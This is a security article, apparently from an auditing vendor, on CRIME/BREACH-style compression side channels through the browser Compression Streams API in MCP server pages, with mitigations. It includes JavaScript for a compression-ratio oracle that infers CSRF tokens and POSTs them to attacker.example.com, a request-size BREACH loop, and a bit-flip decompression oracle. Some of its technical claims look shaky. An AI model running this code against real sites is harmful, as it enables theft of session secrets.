MCP server security · Compression Streams API · CompressionStream · CRIME · BREACH · compression ratio oracle · gzip side channel

MCP server Compression Streams security — CompressionStream CRIME/BREACH compression ratio oracle and secret inference via output size

The Compression Streams API (CompressionStream, DecompressionStream) implements gzip, deflate, and deflate-raw compression as browser-native TransformStreams. In MCP server contexts, this enables a classic CRIME/BREACH-style compression side channel: when attacker-controlled data is compressed in the same stream as a secret (CSRF token, session ID, API key), the compressed output is shorter when the attacker's prefix shares byte sequences with the secret. By iterating over all possible next-character candidates and measuring compressed output length for each, an MCP tool output script can infer a secret's value one character at a time — without ever reading it directly from the DOM.

How compression ratio oracles work (CRIME/BREACH recap)

The CRIME (2012) and BREACH (2013) attacks exploited TLS-layer compression to leak HTTPS request secrets. The core insight: gzip uses LZ77-family compression, which replaces repeated byte sequences with back-references to previous occurrences. When the same byte sequence appears multiple times in the input, the compressed output is shorter than when it appears only once. This is measurable.

If an attacker can inject a known prefix into the same compression stream as a secret value, they can iterate over all possible prefix values and measure the compressed output length for each. When the prefix matches the beginning of the secret, the output will be shorter (because the compressor found a duplicate sequence). This leaks the secret character by character.

The Compression Streams API brings this attack to browser-native JavaScript, making it available to MCP tool output scripts without requiring TLS-layer access:

// Compression ratio oracle implemented with the Compression Streams API.
// This runs in browser-native JavaScript — no network request required.
//
// Goal: infer a CSRF token value that is present in the DOM but
// not directly readable (e.g., in a cross-origin frame or Shadow DOM
// whose textContent the attacker cannot read directly, but whose
// value they can cause to be included in a compressed representation).

async function compressedLength(plaintext) {
  const encoder = new TextEncoder();
  const stream = new CompressionStream('gzip');
  const writer = stream.writable.getWriter();
  const reader = stream.readable.getReader();

  writer.write(encoder.encode(plaintext));
  writer.close();

  let totalBytes = 0;
  while (true) {
    const { done, value } = await reader.read();
    if (done) break;
    totalBytes += value.length;
  }
  return totalBytes;
}

async function inferSecret(getSecretIncludedText, knownPrefix, alphabet) {
  // getSecretIncludedText(prefix) returns a string that includes both
  // the attacker-controlled prefix AND the secret in the same text.
  // This could be document.body.innerHTML when tool output is in the DOM.

  let secret = knownPrefix;

  for (let position = 0; position < 50; position++) {
    let minLength = Infinity;
    let bestChar = '';

    for (const candidate of alphabet) {
      const testPrefix = secret + candidate;
      // Get text that includes both our test prefix and the secret:
      const text = getSecretIncludedText(testPrefix);
      const len = await compressedLength(text);

      if (len < minLength) {
        minLength = len;
        bestChar = candidate;
      }
    }

    secret += bestChar;
    console.log(`Position ${position}: "${bestChar}" → secret so far: "${secret}"`);
  }

  return secret;
}

// Usage: the attacker injects this into MCP tool output.
// getSecretIncludedText prepends the test prefix to the visible DOM content.
const alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_';

inferSecret(
  (prefix) => prefix + document.body.innerHTML,  // compress prefix + DOM together
  '',
  alphabet
).then(inferred => {
  // Exfiltrate the inferred secret value:
  fetch('https://attacker.example.com/collect', {
    method: 'POST',
    body: JSON.stringify({ inferred }),
    mode: 'no-cors'
  });
});

The attack targets secrets present in the DOM as text content. The compression ratio oracle does not bypass Same-Origin Policy to read a cross-origin value. It infers a secret that is already present in the attacker-accessible DOM — either in the same document as the injected tool output, or in an element whose text content the attacker's script can read via innerHTML. The MCP server context makes this attack more dangerous because tool output and CSRF tokens often exist in the same document.

MCP-specific compression attack surface

In MCP server deployments, the compression oracle has specific targets:

// Attack vector 1: CSRF token in a meta tag in the same document as tool output.
// The meta tag content is readable via document.querySelector().
// But the compression oracle provides an alternative path if CSP blocks direct DOM reads.

// Attack vector 2: MCP client compresses API responses before storing in sessionStorage.
// Some MCP implementations store tool results compressed to save storage quota.
// The attacker reads the compressed result, adds a known prefix, re-compresses both,
// and measures the size difference.

// Attack vector 3: Server-side compression of HTTP responses that include both
// the session cookie (in the response body reflection) and attacker-controlled
// request parameters. This is the original BREACH attack surface — still viable
// if the MCP server reflects request params in gzip-compressed HTTP responses.

// Demonstration: inferring a CSRF token from compressed response body
async function breachStyleAttack() {
  // Attacker sends requests with varying prefixes and measures response size.
  // Server compresses response that includes both the prefix (reflected in body)
  // and the CSRF token (present in session-specific response data).

  const alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  let knownPrefix = 'csrf_token=';

  for (let i = 0; i < 32; i++) {
    const sizes = {};
    for (const c of alphabet) {
      const testPrefix = knownPrefix + c;
      // Send request with the test prefix reflected in compressed response body:
      const res = await fetch(`/api/search?q=${encodeURIComponent(testPrefix)}`, {
        credentials: 'include'  // sends session cookie → response includes CSRF token
      });
      sizes[c] = (await res.arrayBuffer()).byteLength;
    }
    // The character that produces the smallest response size matches the next token char:
    const bestChar = Object.entries(sizes).sort((a, b) => a[1] - b[1])[0][0];
    knownPrefix += bestChar;
    console.log(`Inferred so far: ${knownPrefix}`);
  }
  return knownPrefix;
}

DecompressionStream as a malformed-input oracle

The DecompressionStream API decompresses gzip and deflate data. When fed malformed or truncated input, it throws a TypeError. This can be exploited as a binary oracle to determine whether attacker-controlled data, when decompressed, produces valid output or not — enabling a different class of side channel where the attacker learns whether a compressed blob they obtained matches expected content:

// DecompressionStream malformed-input oracle:
// Tests whether a compressed blob, when modified, still decompresses successfully.

async function canDecompress(compressedData) {
  try {
    const ds = new DecompressionStream('gzip');
    const writer = ds.writable.getWriter();
    const reader = ds.readable.getReader();

    writer.write(compressedData);
    writer.close();

    // Try to read all output:
    while (true) {
      const { done } = await reader.read();
      if (done) break;
    }
    return true;  // valid gzip data
  } catch {
    return false;  // malformed — modification caused CRC or length check failure
  }
}

// Use case: attacker intercepts a compressed token from localStorage,
// flips individual bits, and tests whether the result still decompresses.
// Differential analysis reveals the plaintext structure of the compressed secret.

const compressedToken = new Uint8Array(/* token from localStorage */);
const results = [];
for (let byteIndex = 10; byteIndex < compressedToken.length; byteIndex++) {
  for (let bitPos = 0; bitPos < 8; bitPos++) {
    const modified = compressedToken.slice();
    modified[byteIndex] ^= (1 << bitPos);  // flip one bit
    results.push({ byteIndex, bitPos, valid: await canDecompress(modified) });
  }
}

SkillAudit findings: Compression Streams in MCP server audits

HIGH −18
MCP server HTTP responses include user-controlled request parameters in gzip-compressed response body alongside CSRF tokens — BREACH-style compression ratio attack can infer CSRF token without TLS interception; mitigation: disable response compression or add random padding to compressed responses
HIGH −16
Tool output rendered in main document alongside CSRF meta tag — CompressionStream compression oracle can infer token value via DOM innerHTML compression; cross-origin sandboxed iframe prevents access to parent document DOM
MEDIUM −12
MCP client stores compressed tool results in sessionStorage alongside session tokens — DecompressionStream accessible to tool output scripts that share the same origin; no CSP or Permissions-Policy restricts Compression Streams API
MEDIUM −8
No CSRF token randomization across requests — fixed token value makes compression oracle practical (32+ rounds all target the same stable value); rotating CSRF tokens per request increases the number of rounds required
LOW −4
HTTP response headers include Content-Encoding: gzip without no-transform cache directive — proxy servers and CDNs may recompress responses in ways that restore the BREACH attack surface even if server-side compression is disabled

Defenses

Disable HTTP response compression for sensitive endpoints

# Caddy — disable gzip for endpoints that reflect user input:
@api path /api/*
route @api {
  # Do not use encode gzip here — disables BREACH attack surface
  reverse_proxy localhost:3000
}

# If compression is required for bandwidth: add random padding to each response
# so the attacker cannot distinguish compression ratio differences.
# Random 0-64 bytes of padding per response make the size measurement noisy.

Cross-origin sandboxed iframe prevents DOM access

<!-- Cross-origin iframe prevents tool output scripts from accessing
     parent document DOM (including CSRF token meta tags):
     The CompressionStream API is still available inside the iframe,
     but it can only compress the iframe's own content — not the parent's. -->
<iframe src="https://tool-renderer.skillaudit.dev/render" sandbox="allow-scripts"></iframe>

Rotate CSRF tokens per request

// Per-request CSRF token rotation makes compression oracle impractical:
// Each request requires inferring a fresh token (32+ rounds × 62 candidates).
// The token expires before the attacker can complete the inference.
app.use((req, res, next) => {
  // Generate a new CSRF token for each response:
  res.locals.csrfToken = crypto.randomUUID();
  // Store only a hash server-side (can't infer from compressed response):
  req.session.csrfTokenHash = sha256(res.locals.csrfToken);
  next();
});

SkillAudit checks MCP server HTTP response headers for Content-Encoding: gzip on endpoints that reflect request parameters, flagging BREACH-vulnerable configurations. Run a free audit. Related: CSS exfiltration deep dive, Scheduler API security, Font Loading API security.